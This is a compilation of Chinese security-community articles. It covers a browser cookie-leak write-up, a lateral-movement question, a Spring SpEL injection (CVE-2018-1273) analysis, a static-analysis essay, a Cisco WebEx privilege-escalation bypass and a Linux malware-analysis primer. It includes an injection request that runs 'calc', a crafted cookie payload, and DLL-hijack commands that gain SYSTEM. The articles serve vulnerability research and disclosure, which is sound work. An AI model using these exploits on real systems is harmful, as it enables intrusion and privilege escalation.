事实证明，我们的payload"{}*{--:("其实只有8个字节的长度。这就意味着如果我们用UTF-16编码的话，就会产生16个字节的长度(8 + 8
NULL bytes)[3]。
下图（payload,key和iv都是已知的并且是固定值）
我们要找到一个有效的块B，它解码之后满足：
* P0的字节是有效的字符（每个字节有2位的限制，且要小于32字节的熵）
* P1的字节也是有效的字符。可是，因为payload的aes输出是固定的，我们可以限制B0的初始空间搜索，使P1 = B0 ^ AES(key,payload) 是一个有效的文本
我们要找到一个有效的块B2，它解码之后满足：
* P2 = payload ^ AES(key, B2) 的字节是有效的字符
* P2的结尾是byte = 0x01 （最简单的有效的填充）
幸亏的是，B0和B2是独立的。在一两分钟之后（在Skylake的i5的电脑上经过至少十亿次aes计算），我们得到一个有效的cookie值，这个cookie被编码之后可以被存储到db中，这个cookie也包含UTF-16格式的payload。
document.cookie="whatever=i+GW*e@afGR]sYo{Wa>7[[[[[[[[[[[[xBLGWAJ|VCX<T*P;"
(你可以通过开发工具为这次实例设置cookie，然后加载本地HTML文件40秒之后)
通过这个cookie，我们已经可以可靠的泄露一部分cookie的数据库，用UTF-16解码，解析被加密的值（‘V10’做前缀），然后使用web的加密API加密它们。在文章后面附上POC文件。
注意，我们现在仅仅使用一个payload设置单个cookie。这就意味着，如果UTF-16
payload解析失败，或者css解析被截断，那么测试就会失败。改善的方法是设置一些不同cookie值(--a, --b,
--c)，这样可以提高成功率。在后面我依然会附上成功的截图。
# 建议：
为了避免读取到敏感信息，在配置文件名前加一串随机的字符串（火狐中有类似的方式），这将增加那些攻击者难度。
并且，火狐的css字符串解析应该更加严格，如果发现一个NULL字节，就停止解析，这样可以减少泄露。
似乎最明智（最简单）的方式是在每一个Linux系统中使用独一无二的key。我猜想，本地的攻击者也会有寻找key的动机，但是攻击者只有部分读取权限，这还是能保护一些人。
这可能不是一个很严重问题，但是我觉得很有趣，希望你能喜欢。
[1] <https://www.w3.org/TR/css-syntax-3/#%7B%7D-block-diagram>
[2]
<https://cs.chromium.org/chromium/src/components/os_crypt/os_crypt_posix.cc?l=44>
[3] 它可以从周围块中占有更多字节，因为我们我们不需要用16字节来寻找有效的块
附件在原文的最底部 | 社区文章 |
最近在项目中做内网横向渗透中遇到些以前没遇到过的问题，暂未找到原因，希望有经验的大佬给予指教，万分感谢。
* * *
简述下环境，客户网络分DMZ区域跟办公区域，通过DMZ区域的WEB服务器代理来进行测试(某台服务器可以通到办公区)其中DMZ区域中的服务器大多为2012，而办公区域多为win7和win10，遇到的问题如下：
1.在获取到某个内网通用账户的情况下，采用哈希传递和impacket工具包均无法进入办公区工作机(DMZ区域的服务器可以正常利用)，报错截图下面会发出来。见图1.2.3
2.利用schtasks报特定的安全包错误，不知道是什么原因导致的。报错见图4。
3.忘了说了，通过卡巴斯基安全中心服务器（有权限）查询所有机器均部署了卡巴斯基。 | 社区文章 |
# 谨防Magic SpEL - Part 1(CVE-2018-1273)
##### 译文声明
本文是翻译文章，文章来源：http://blog.h3xstream.com/
原文地址：<http://blog.h3xstream.com/2018/05/beware-of-magic-spell-part-1-cve-2018.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
今年2月，我们使用一款安全漏洞扫描软件，在Spring Framework组件上至少扫描了100多个模块，包括核心部件(spring-core,
spring-mvc）和可选组件（spring-data, spring-social, spring-oauth等）。
从这次扫描中，我们报告了一些漏洞。在这篇博客文章中，我们将详细介绍SpEL注入漏洞。尽管Twitter上已经出现了一些代码层的分析和漏洞利用分析，但我们这里将重点关注如何找到这些漏洞，然后对已提出的修补程序进行彻底审查。
## 初步分析
我们从MapDataBinder.java类中发现可疑表达式开始，这是由Find Security Bugs报告的SPEL_INJECTION模式标识。
我们在表单提交时发现参数来自POST参数：propertyName
public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException {
if (!isWritableProperty(propertyName)) { // <---Validation here
throw new NotWritablePropertyException(type, propertyName);
}
StandardEvaluationContext context = new StandardEvaluationContext();
context.addPropertyAccessor(new PropertyTraversingMapAccessor(type, conversionService));
context.setTypeConverter(new StandardTypeConverter(conversionService));
context.setRootObject(map);
Expression expression = PARSER.parseExpression(propertyName); // Expression evaluation
而对propertyName进行保护的方式是isWritableProperty方法的验证。跟一下代码，可以看到isWritableProperty方法会引起getPropertyPath的执行
@Override
public boolean isWritableProperty(String propertyName) {
try {
return getPropertyPath(propertyName) != null;
} catch (PropertyReferenceException e) {
return false;
}
}
private PropertyPath getPropertyPath(String propertyName) {
String plainPropertyPath = propertyName.replaceAll("\[.*?\]", "");
return PropertyPath.from(plainPropertyPath, type);
}
我们详细分析一下PropertyPath.from()，
随后我们意识到其可以非常容易地绕过：由括号闭合的值将被忽略。凭借这些知识，攻击目标变得更加清晰。我们可能能够提交一个具有”parameterName[T(malicious.class).exec(‘test’)]”模式的变量名。
## 验证猜想
如果不将想法实现，那么它将毫无意义。在进行代码审计的时候，验证自己的猜想往往很困难。
而第一步显然是要构建一个环境。我们使用了位于spring-data-examples库中的示例项目。
在验证了表单之后，我们建立了以下请求并将其发送给HTTP代理。随后我们立即跟进分析，确认模块的可利用性：
POST /users?size=5 HTTP/1.1
Host: localhost:8080
Referer: http://localhost:8080/
Content-Type: application/x-www-form-urlencoded
Content-Length: 110
Connection: close
Upgrade-Insecure-Requests: 1
username=test&password=test&repeatedPassword=test&password[T(java.lang.Runtime).getRuntime().exec("calc")]=abc
## 分析修复代码
我们可以在与bug ID DATACMNS-1264相关的比对中找到完整的修复代码。
https://github.com/spring-projects/spring-data-commons/commit/613cf08f7255056a2a2d185b6e6c0f2c50534ed3#diff-524dd48a5ac084fe41ef505c143d8b8b
这就是为什么它可以被认为是真正有效的。
虽然之前提出的攻击依赖于正则表达式的副作用，但实验中也发现了另一种风险：
处理后的值被解析两次：一次用于验证，再一次用于执行。
这是一个细微的细节，在执行代码审计时经常被忽略。攻击者可能会利用每个实现之间每一个字符差异。
但是这仍然是理论上的，因为在这样的基础上，我们还没有发现可利用的方式
同时Pivotal所做的更正也解决了这种可能在未来引入漏洞的双重解析风险。
首先，使用更有限的表达式分析器（SimpleEvaluationContext）。
然后在表达式被加载和执行时，对类型进行新的验证，
同时isWritableProperty方法将被保留，但对象持久化映射层的安全性不再依赖它：
public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException {
[...]
EvaluationContext context = SimpleEvaluationContext //
.forPropertyAccessors(new PropertyTraversingMapAccessor(type, conversionService)) // NEW Type validation
.withConversionService(conversionService) //
.withRootObject(map) //
.build();
Expression expression = PARSER.parseExpression(propertyName);
## 我们的应用程序将会受影响吗？
大多数Spring开发人员采用Spring Boot来帮助依赖管理。如果是这种情况应尽快进行更新，以避免丢失重要的安全补丁或增加业务风险。
如果由于任何原因您必须延迟更新，以下是利用此漏洞的具体条件：
1.拥有版本1.13~1.13.10 / 2.0~2.0.5的spring-data-commons
2.至少有一个接口用作表单（例如spring-data-examples项目中的UserForm）
3.攻击者也可以访问受到影响的表单。
## 下期预告
正如标题所暗示的那样，本文将会有第二部分，因为在Spring OAuth2中发现了一个非常类似的漏洞。
我们希望不管是否有相似之处，都将这两个漏洞分开，以避免与开发条件和不同payload混淆。
您可能想知道除了Spring Framework本身之外，这些SpEL注入可能出现在哪里。您不太可能直接在Web应用程序逻辑中找到SpEL
API。我们的渗透安全团队只找到过一次这种情况。最可能出现的情况是审查类似于data-commons的其他Spring组件。
这些检查可以很简单的添加到您的自动扫描工具中。如果您是Java开发人员或负责审计Java代码以确保安全的人员，则可以使用Find Security
Bugs（我们用来查找此漏洞的工具）扫描您的应用程序。
正如本文中隐晦地演示的那样，虽然此工具可能有效，但是可利用性的确认仍需要对漏洞的复现来确认。
我们希望这个博客对你有所帮助。也许，你很快就会发现类似的漏洞。
## 参考文献
<https://pivotal.io/security/cve-2018-1273>
<https://github.com/find-sec-bugs/find-sec-bugs>
审核人：yiwang 编辑：边边 | 社区文章 |
**作者：LoRexxar'@知道创宇404实验室
时间：2020年10月30日**
# 前言
前段时间开源新版本KunLun-M的时候，写了一篇[《从0开始聊聊自动化静态代码审计工具》](https://lorexxar.cn/2020/09/21/whiteboxaudit/)的文章，里面分享了许多在这些年白盒静态扫描演变过程中出现的扫描思路、技术等等。在文章中我用了一个简单的例子描述了一下基于.QL的扫描思路，但实际在这个领域我可能只见过一个活的SemmleQL（也就是CodeQL的原型）。这篇文章中我也聊一聊这相关的东西，也分享一些我尝试探索的一些全新的静态扫描方案。
本文提到的小demo phpunserializechain作为星链计划的一员开源，希望能给相关的安全从业者带来帮助。
* <https://github.com/LoRexxar/Kunlun-M/tree/master/core/plugins/phpunserializechain>
本文会提及大量的名词，其中如有解释错误或使用不当欢迎指正。
# 什么是.QL?
QL全称Query Language，是一种用于从数据库查询数据的语言。我们常见的SQL就是QL的一种，这是一个很常见的概念。
而.QL是什么呢？Wiki上的解释是，一种面向对象的查询语言，用于从关系数据库中检索数据。
而.QL又和静态分析有什么关系呢？我们需要理解一个概念叫做SCID。
SCID: Source Code in Database 是指一种将代码语法解析并储存进代码中的操作方法。而这种数据库我们可以简单的称之为CodeDB。
当我们通过一种方案生成了CodeDB之后，我们就需要构造一种QL语言来处理它。当然CodeQL正是一种实现了CodeDB并设计好了相应的QL语言的平台。而Semmle
QL设计的查询语言就是一种.QL，它同时符合了几种特点其中包括SQL、Datalog、Eindhoven Quantifier
Notation、Classes are
Predicates其中涵盖了针对代码的不同逻辑而使用的多种解决方案。当然，本文并不是要讨论CodeQL，所以这里我们并不深入解释Semmle
QL中的解决方案。
.QL的概念最早在2007年被提出，详情可以参考：
* <https://help.semmle.com/home/Resources/pdfs/scam07.pdf>
# 为什么使用.QL呢？
在《从0开始聊聊自动化静态代码审计工具》中我曾经把基于.QL的认为是未来白盒发展的主要趋势，其主要原因在于现代普遍使用的白盒核心技术存在许多的无解问题，在上一篇文章中，我主要用一些基于技术原理的角度解释了几种现代的扫描方案，今天我就从技术本身聊聊这其中的区别。
其实我在前文中提到的两种分析方式，无论是基于AST的分析、还是基于IR/CFG的分析方式，他们的区别只是技术基础不同，但分析的理论差异不大，我们可以粗略的将它们统一叫做Data-flow analysis，也就是数据流分析（污点分析可以算作是数据流分析的变种）。
数据流分析有很多种种类，其本质是流敏感的，且通常来说是路径不敏感的。当然，这并不是绝对的，我们可以按照敏感类型将其分类：
* 流敏感分析：flow-sensitive，考虑语句的执行先后顺序，这种分析通常依赖CFG控制流图。
* 路径敏感分析：path-sensitive，不仅考虑语句的执行顺序，还要分析路径的执行条件（比如if条件等），以确定是否存在可实际运行的执行路径。
* 上下文敏感分析：context-sensitive，属于一种过程间分析，在分析函数调用目标时会考虑调用上下文。主要面向的的场景为同一个函数/方法在不同次调用/不同位置调用时上下文不同的情况。
当然，需要注意的是，这里仅指的是数据流分析的分类方式，与基于的技术原理无关，如果你愿意，你当然也可以基于AST来完成流敏感的分析工具。
在基于数据流的扫描方案中，如果能够完整的支持各种语法充足的分析逻辑，我们就可以针对每一种漏洞分析相应的数据流挖掘漏洞。可惜事实是，问题比想象的还要多。这里我举几个可能被解决、也可能被暂时解决、也可能没人能解决的问题作为例子。
1、如何判断全局过滤方案？
2、如何处理专用的过滤函数未完全过滤的情况？
3、如何审计深度重构的框架？
4、如何扫描储存型xss？
5、如何扫描二次注入？
6、如何扫描eval中出现的伪代码逻辑？
现代扫描方案不断进步的同时，或许许多问题都得到一定程度的解决，但可惜的是，这就像是扫描方案与开发人员的博弈一样，我们永远致力于降低误报率、漏报率却不能真正的解决，这样一来好像问题就变得又无解了起来……
当然，.QL的概念的扫描方案并不是为了解决这些问题而诞生的，可幸运的是，
从我的视角来看，基于.QL概念的扫描方案将静态扫描走到了新的路中，让我们不再拘泥于探讨如何处理流敏感、约束条件等等。
基于.QL的扫描方案，将引擎的实现和规则开发、使用者分割开来，流分析等数据流相关的分析由引擎以及引擎的开发者来完成，使用者只需要关注规则的编写即可，当然，如何通过定义“谓词”来编写高级规则又或是不断通过多种高级规则来完善规则库体系，才是基于.QL的扫描方案真正的使用姿势。
值得注意的是，我们很难在开发层面就区分出基于.QL的扫描方案以及现在普遍的分析方案的区别，我们同样需要关注代码流敏感又或是各种限制条件，所谓的CodeDB也只是一种技术手段，使用CodeDB也并不等价于基于.QL的扫描方案。换言之，可能源伞等著名的白盒扫描器中，将多种语言生成的IR统一分析，何尝不是另一种Code
DB呢？
事实也证明，与其说.QL改进了现代诸多白盒分析方案，不如说在当年白盒面临发展的关口时，大部分人选择了走向以数据流分析为主的方向，而Semmle
QL选择了完善基础和引擎。而当我们走到现在这个关口遇到瓶颈的时期，不妨尝试看看别的思考思路，这也是这篇文章的初衷。
其核心的原理就在于通过把每一个操作具象化模板化，并储存到数据库中。比如
a($b);
这个语句被具象为
Function-a FunctionCall ($b)
然后这样的三元组我们可以作为数据库中的一条数据。
而当我们想要在代码中寻找执行a函数的语句时，我们就可以直接通过
select * from code_db from where type = 'FunctionCall' and node_name = 'Function-a';
这样的一条语句可以寻找到代码中所有的执行a函数的节点。
当然，静态分析不可能仅靠这样的简单语句就找到漏洞，但事实就是，当我们针对CodeDB做分析的时候，我们既保证了强代码执行顺序，又可以跨越多重壁垒直接从sink点出发做分析，当相应的QL支持越来越多的高级查询又或者是自定义高级规则之后，或许可以直接实现。
select * where {
Source : $_GET,
Sink : echo,
is_filterxss : False,
}
也正是因为如此，CodeQL的出现，被许多人认为是跨时代的出现，静态分析从底层的代码分析，需要深入到编译过程中的方式，变成了在平台上巧妙构思的规则语句，或许从现在来说，CodeQL这种先铺好底层的方式并不能直接的看到效果，可幸运的是，作为技术本身而言，我们又有了新的前进方向。
下面的文章，我们就跟着我前段时间的一些短期研究成果，探索一下到底如何实现一个合理的CodeDB。
# 如何实现一个合理的CodeDB呢?
在最早只有Semmle
QL的时候我就翻看过一些paper，到后来的LGTM，再到后来的CodeQL我都有一些了解，后来CodeQL出来的时候，翻看过一些人写的规则都距离CodeQL想要达到的目标相去甚远，之后就一直想要自己试着写一个类似的玩具试试看。这次在更新KunLun-M的过程中我又多次受制于基于AST的数据流分析的种种困难，于是有了这次的计划诞生。
为了践行我的想法，这次我花了几个星期的事件设计了一个简易版本的CodeDB，并基于CodeDB写了一个简单的寻找php反序列化链的工具，工具源码详见:
* <https://github.com/LoRexxar/Kunlun-M/tree/master/core/plugins/phpunserializechain>
在聊具体的实现方案之前，我们需要想明白CodeDB到底需要记录什么？
首先，每一行代码的执行顺序、所在文件是基本信息。其次当前代码所在的域环境、代码类型、代码相关的信息也是必要的条件。
在这个基础上，我尝试使用域定位、执行顺序、源节点、节点类型、节点信息这5个维度作为五元组储存数据。举一个简单的例子：
test.php
<?php
$a = $_GET['a'];
if (1>0){
echo $b;
}
上面的代码转化的结果为
test_php 1 Variable-$a Assignment ArrayOffset-$_GET@a
test_php 2 if If ['1', '>', '0']
test_php.if 0 1 BinaryOp-> 0
test_php.if 1 echo FunctionCall ('$a',)
由于这里我主要是一个尝试，所以我直接依赖SQL来做查询并将分析逻辑直接从代码实现，这里我们直接用sql语句做查询。
select * from code_db where node_type='FunctionCall' and node_name='echo'
用上述语句查询出echo语句，然后分析节点信息得到参数为`$a`。
然后通过
select * from code_db where node_locate = 'test_php.if' and node_sort=0
来获取if的条件信息，并判断为真。
紧接着我们可以通过SQL语句为
select * from code_db where node_name='$a' and node_type='Assignment' and node_locate like 'test_php%' and node_id >= 4
得到赋值语句，经过判断就可以得到变量来源于`$_GET`。
当然，逻辑处理远比想像的要复杂，这里我们举了一个简单的例子做实例，通过sort为0记录参数信息和条件信息，如果出现同一个语句中的多条指令，可能会出现sort相同的多个节点，还需要sort和id共同处理...
这里我尝试性的构造了基于五元组的CodeDB生成方案，并通过一些SQL语句配合代码逻辑分析，我们得到了想要扫描结果。事实上，虽然这种基于五元组的CodeDB仍不成熟，但我们的确通过这种方式构造了一种全新的扫描思路，如果CodeDB构造成熟，然后封装一些基础的查询逻辑，我们就可以大幅度解决我在KunLun-M中遇到的许多困境。
# 写在最后
这篇文章用了大量的篇幅解释了什么是基于.QL的扫描方案，聊了聊许多现代代码审计遇到的问题、困境。在这个基础上，我也做了一些尝试，这里讲的这种基于五元组的CodeDB生成方案属于我最近探索的比较有趣的生成方案，在这个基础上，我也探索了一个简单的查询php反序列化的小插件，后续可能花费比较大的代价去做优化并定制一些基础的查询函数，希望这篇文章能给阅读的你带来一些收获。
如果对相应的代码感兴趣，可以持续关注KunLun-M的更新
* <https://github.com/LoRexxar/Kunlun-M>
# ref
* <https://help.semmle.com/publications.html>
* <https://help.semmle.com/home/Resources/pdfs/scam07.pdf>
* <https://en.wikipedia.org/wiki/Data-flow_analysis>
* <https://en.wikipedia.org/wiki/Control-flow_graph>
* <https://en.wikipedia.org/wiki/Source_Code_in_Database>
* <https://en.wikipedia.org/wiki/.QL>
* <https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/5.4_dataflow_analysis.html>
* <https://blog.csdn.net/nklofy/article/details/83963125>
* <https://blog.csdn.net/nklofy/article/details/84206428>
* <https://lorexxar.cn/2020/09/21/whiteboxaudit/>
* * * | 社区文章 |
# 如何绕过Cisco WebEx Meetings Desktop App最新补丁
|
##### 译文声明
本文是翻译文章，文章原作者 srcincite，文章来源：srcincite.io
原文地址：<https://srcincite.io/blog/2018/12/03/webexec-reloaded-cisco-webex-meetings-desktop-app-lpe.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
前一段时间，[Ron Bowes](https://twitter.com/iagox86)发现Cisco WebEx Meetings Desktop
App中存在一个漏洞，这是一个本地权限提升漏洞，如果攻击者具备用户账户凭据，还能利用`psexec`以`SYSTEM`身份远程执行代码。Ron
Bowes将该漏洞命名为 **WebExec**
，还为此专门建了一个[网站](https://webexec.org/)。现在的问题在于，官方给的补丁貌似并不完美。
在本文中，我重新发现了[CVE-2018-15442](https://srcincite.io/advisories/src-2018-0034)的利用方法，绕过了官方对原始漏洞的补丁。由于原始漏洞和补丁绕过方法相似，因此Cisco决定不为该漏洞发布新的CVE编号，我也比较认同这一决定。从技术角度来讲，这是一个远程代码执行漏洞，但该漏洞的触发方式比较特别，在本地上下文中更好利用。
## 二、简介
[Webex](https://www.webex.com/products/meetings/index.html)网站上对webex的总结如下：
> ……在Webex
> Meetings的帮助下，加入会议是非常简单的一件事，音频和视频也更加清晰、屏幕共享比以前更加方便。您可以不用去关心背后的技术，专注更为重要的事务……
话虽如此，麻烦Cisco还是不要忘记技术上的安全性。
在阅读Ron的[文章](https://blog.skullsecurity.org/2018/technical-rundown-of-webexec)后，我们知道底层的问题在于WebExService会接收用户可控的一个二进制文件，并将其以`SYSTEM`权限运行。对漏洞利用来说这真是极好的一件事，感谢Cisco！
## 三、再次发现漏洞
根据Ron的描述，打上补丁后应用会检查待执行的文件是否经过WebEx签名。
>
> 打上补丁后，WebEx仍然可以让远程用户连接并启动进程。然而，如果待运行的可执行文件没有经过WebEx的签名，那么就会停止运行。不幸的是，我们并不知道该主机是否存在漏洞。
好吧，让我们按照正常步骤走，自己检查一下补丁情况。从Cisco的CDN上安装[最新版应用](https://akamaicdn.webex.com/client/WBXclient-33.6.2-16/webexapp.msi)后，可以发现官方已经打上最新补丁：
图1. 目前33.6.2.16为最新版本
深入分析`C:\Program
Files\Webex\Webex\Applications\WebExService.exe`这个文件后，我们可以看到有趣的一些点。首先我注意到程序代码只查找一种参数类型，即`software-update`:
.text:00402DC4 loc_402DC4: ; CODE XREF: sub_402D80+1C
.text:00402DC4 push offset aSoftwareUpdate ; "software-update"
.text:00402DC9 push dword ptr [esi+8] ; lpString1
.text:00402DCC call ds:lstrcmpiW
.text:00402DD2 test eax, eax
.text:00402DD4 jnz loc_402E66
.text:00402DDA push 208h ; Size
.text:00402DDF push eax ; Val
.text:00402DE0 lea eax, [ebp+Dst]
.text:00402DE6 push eax ; Dst
.text:00402DE7 call memset
.text:00402DEC add esp, 0Ch
.text:00402DEF lea eax, [ebp+Dst]
.text:00402DF5 push offset pszFile ; "ptupdate.exe"
.text:00402DFA push dword ptr [esi+10h] ; pszDir
.text:00402DFD push eax ; pszDest
.text:00402DFE call ds:PathCombineW
.text:00402E04 sub esp, 18h
.text:00402E07 lea eax, [ebp+Dst]
.text:00402E0D mov ecx, esp ; Dst
.text:00402E0F mov [esi+10h], eax
.text:00402E12 push eax ; Src
.text:00402E13 call sub_402EB0
.text:00402E18 call sub_402310 ; signature check on ptupdate.exe
.text:00402E1D add esp, 18h
.text:00402E20 test eax, eax
.text:00402E22 jz short loc_402E46 ; jump if we don't pass the check!
.text:00402E24 lea eax, [ebp+var_214]
.text:00402E2A mov [ebp+var_214], 0
.text:00402E34 push eax
.text:00402E35 push ecx
.text:00402E36 lea ecx, [edi-3]
.text:00402E39 lea edx, [esi+0Ch]
.text:00402E3C call sub_402960 ; execute "ptupdate.exe" as winlogon.exe
随后，程序代码调用`PathCombineW`，参数为我们在命令行中提供的字符串`ptupdate.exe`。看到这里我已经不想进一步逆向分析了，我甚至懒得去逆向分析签名检查函数或者模拟及执行函数，我心中已经有了攻击计划。
## 四、漏洞利用
此时，我们需要做的就是将`C:\Program
Files\Webex\Webex\Applications\*`中的所有文件拷贝到用户（访客用户或者本地用户）可控的一个目录中（该目录也可以是沙盒目录），然后寻找DLL劫持漏洞，或者删除某个DLL实现DLL劫持。
在可以避免的情况下，我不喜欢程序出现非预期行为，因此我想寻找不影响程序状态的DLL植入问题。为了完成这个任务，我首先执行了如下命令：
mkdir %cd%\si
copy C:\PROGRA~1\Webex\Webex\Applications\* %cd%\si\*
sc start webexservice a software-update 1 %cd%\si
结果表明，`SspiCli.dll`貌似是一个不错的目标。
图2. `ptUpdate.exe`无法在当前目录中找到`SspiCli.dll`
当然，我们还可以继续分析并利用其他43个`LoadLibraryW`调用。此时，在PoC利用场景中，我们需要再加入1条命令：
mkdir %cd%\si
copy C:\PROGRA~1\Webex\Webex\Applications\* %cd%\si\*
copy SspiCli.dll %cd%\si
sc start webexservice a software-update 1 %cd%\si
图3. 通过DLL劫持以`SYSTEM`权限执行代码
如上所述，从技术角度来看，我们也可以实现以`SYSTEM`权限运行的RCE效果，但这个过程必须通过身份认证，此时我们可以使用`sc \victim
start webexservice a software-update 1 "\attackersharesi"`这条命令。
## 五、总结
如果某个高权限服务执行了文件操作，并且文件路径可由攻击者控制，那么该服务就很容易成功攻击者的目标。这个漏洞非常简单，但功能强大，可以通过SMB方式从远程触发，也能作为沙箱逃逸的一种方法。我认为逻辑漏洞将成为未来主流的漏洞利用目标，此时攻击者距离突破操作系统级别防护仅一步之遥。
Cisco并没有第一时间完全补掉这个漏洞，这一点令人难以置信。Cisco只需要固定`C:\Program
Files\Webex\Webex\Applications`目录，并且移除用户控制的所有输入点即可。我总共花了10分钟就找到了这个漏洞，也给这个漏洞起了个名字：`WebExec
reloaded`，重新载入攻击者可控的任意DLL文件，非常形象。
最后，非常感谢[iDefense](https://vcp.idefense.com/login.jsf)在漏洞处置过程中发挥的作用。
## 六、参考资料
* <https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181024-webex-injection>
* <https://blog.skullsecurity.org/2018/technical-rundown-of-webexec> | 社区文章 |
# 如何分析Linux恶意程序
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
近期接手了不少Linux恶意程序的分析任务，在处理任务的过程中，当然会参考网络中的一些技术文档，于是就发现了一个问题：在各大平台上，关于Linux恶意程序的分析介绍相对较少；所以，自己就想对这方面的知识进行一些弥补，把自己对Linux恶意程序的分析方法和思路提炼分享出来，供大家参考交流。
本篇文章中提到的所有方法均是在本人实际工作中接触使用并提炼出来的，例如：当遇到的rootkit会从自身解密ELF模块，并将其加载进内存中时，才发现详细了解ELF文件结构是多么的重要；当使用IDA远程调试，代码执行逻辑有些混乱时，才发现使用GDB进行调试才是最靠谱的；当需要对嵌入在内核中的内核代码进行调试时，才发现原来使用IDA进行内核调试是多么的方便。
## 二、Linux恶意程序的适用范围
Linux存在着许多不同的Linux版本，但它们都使用了Linux内核。Linux可安装在各种计算机硬件设备中，比如：路由器、防火墙、台式计算机及服务器等。
因此，在各种Linux内核的设备中，都能被植入Linux恶意程序。
## 三、ELF文件解析
要反编译Linux恶意程序，首先需要理解Linux恶意程序的二进制结构本身；ELF目前已经成为UNIX和类UNIX操作系统的标准二进制格式。在RedHat、Ubuntu、Kail以及其他操作系统中，ELF格式可用于可执行文件、共享库、目标文件、coredump文件，甚至内核引导镜像文件等。因此，要想更好的分析Linux恶意程序，了解ELF文件结构至关重要。
### 1．ELF文件的编译链接
通过对编译链接过程中生成的不同文件进行分析对比，可以辅助我们更好的理解ELF文件结构。
Linux下ELF文件的编译链接过程主要分为：预处理、编译、汇编、链接；在链接过程中，我们可以根据需求采用静态链接或动态链接。
a.预处理：将要包含(include)的文件插入原文件中、将宏定义展开、根据条件编译命令选择要使用的代码，最后将这些代码输出到一个“.i”文件中等待进一步处理。
gcc -E -o sum.i sum.c
gcc -E -o main.i main.c
b.编译：把C/C++代码(比如上面的”.i”文件)“翻译”成汇编代码。
gcc -S -o sum.s sum.i
gcc -S -o main.s main.i
c.汇编：将第二步输出的汇编代码翻译成符合一定格式的机器代码，在Linux系统上一般表现位ELF目标文件(OBJ文件)。
gcc -c -o sum.o sum.s
gcc -c -o main.o main.s
d.链接：将汇编生成的OBJ文件、系统库的OBJ文件、库文件链接起来，最终生成可以在特定平台运行的可执行程序。
gcc -o prog main.o sum.o
e.动态链接：使用动态链接库进行链接，生成的程序在执行的时候需要加载所需的动态库才能运行。动态链接生成的程序体积较小，但是必须依赖所需的动态库，否则无法执行。
gcc -o prog_dynamic main.o sum.o
f.静态链接：使用静态库进行链接，生成的程序包含程序运行所需要的全部库，可以直接运行，不过静态链接生成的程序体积较大。
gcc -static -o prog_static main.o sum.o
### 2．ELF文件类型
ELF文件类型主要有：可重定位目标文件、可执行目标文件、共享目标文件。
a.可重定位目标文件
包含二进制代码和数据，其形式可以在编译时与其他可重定位目标文件合并起来，创建一个可执行目标文件。一般有扩展名为：“.o”
b.可执行目标文件
包含二进制代码和数据，其形式可以被直接复制到内存并执行。
c.共享目标文件
一种特殊类型的可重定位目标文件，可以在加载或者运行时被动态地加载进内存并链接。
### 3．ELF结构解析
**（1）工具_010editor**
为了辅助我们对ELF文件的二进制数据进行查看，我们可以借助010editor工具进行ELF文件分析。
在010editor中使用ELF模板，即可对ELF文件进行结构解析。
**（2）ELF文件数据结构**
通过查看ELF.h文件可以找到ELF文件的数据结构信息，在ELF.h文件中，数据类型主要有以下几种：
ELF目标文件格式的最前部是ELF文件头，它定义了ELF魔数、文件机器字节长度、数据存储方式、版本、运行平台、ABI版本、ELF重定位类型、硬件平台、硬件平台版本、入口地址、程序头入口和长度、段表的位置和长度、段的数量。
数据结构如下：
ELF程序头是对二进制文件中段的描述，是程序装载必需的一部分。段是在内核装载时被解析的，描述了磁盘上可执行文件的内存布局以及如何映射到内存中。
程序头数据结构如下：
段是程序执行的必要组成部分，在每个段中，会有代码或者数据被划分为不同的节。节头表是对这些节的位置和大小的描述，主要用于链接和调试。
节头表数据结构如下：
符号表保存了程序实现或使用的所有(全局)变量和函数（包含了程序的导入导出符号）。
符号表数据结构如下：
ELF文件中还有很多节类型，例如：.text、.got、.plt等，这里暂不一一介绍，网络中有很多分析说明，大家可以自行研究。
## 四、Linux恶意程序分析方法
由于笔者只是对Linux恶意程序的分析方法进行梳理，因此，暂不使用真实样本进行分析对比；故在这里，我们生成一个正常的ELF文件，用于分析比较。
### 1．静态分析
在分析Linux恶意程序前，我们需要尽可能多的掌握恶意代码的基本情况，才能便于我们选择合适的分析环境，采用适当的分析方法进行分析。
在Linux系统中，提供了多种命令辅助我们对Linux恶意程序进行静态分析，例如：“file”、“readelf”、“ldd”、“strings”、“nm”、“objdump”、“hexdump”命令等。
**（1）file命令**
在分析Linux样本前，首先需要辨识文件类型，可以通过“file”命令查看文件的类型（可执行文件？位数？链接方式？）。
通过file命令，我们可以确定此文件是一个32位的ELF文件，由动态链接库链接而成。
**（2）readelf命令**
除了使用“file”命令辨识文件类型，我们也可以使用“readelf”命令查看文件的详细格式信息（程序头表、节头表、符号表等）。
备注：在Linux恶意程序分析过程中，恶意程序可能会没有节头表，因为节头对于程序的执行来说不是必需的，没有节头表，恶意程序仍可以运行。
**（3）ldd命令**
“ldd”命令可以用来查看程序运行所需的共享库,常用来解决程序因缺少某个库文件而不能运行的一些问题。
备注：恶意程序可通过静态编译的方式解决对共享库的依赖，例如：路由器或防火墙中运行的恶意代码。
### （4）strings命令
通过“strings”命令可以查看Linux样本中的所有字符串：
/lib/ld-linux.so.2
libc.so.6
_IO _stdin _used
puts
**libc_start_main
** gmon_start__
GLIBC_2.0
PTRh
UWVS
t$,U
[^_]
hello world!
;*2$”(
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609
crtstuff.c
**JCR_LIST**
deregister _tm _clones
**do_global_dtors_aux
completed.7209
**do _global _dtors _aux_fini_array_entry
frame_dummy
**frame_dummy_init_array_entry
helloworld.c
**FRAME_END__
__JCR_END__
**init_array_end
_DYNAMIC
**init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
**libc_csu_fini
_ITM_deregisterTMCloneTable
**x86.get _pc _thunk.bx
_edata
**data_start
puts@[@GLIBC_2](https://github.com/GLIBC_2 "@GLIBC_2").0
**gmon _start__
**dso_handle
_IO_stdin_used
**libc_start_main@[@GLIBC_2](https://github.com/GLIBC_2 "@GLIBC_2").0
**libc_csu_init
_fp_hw
**bss_start
main
_Jv_RegisterClasses
__TMC_END__
_ITM_registerTMCloneTable
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
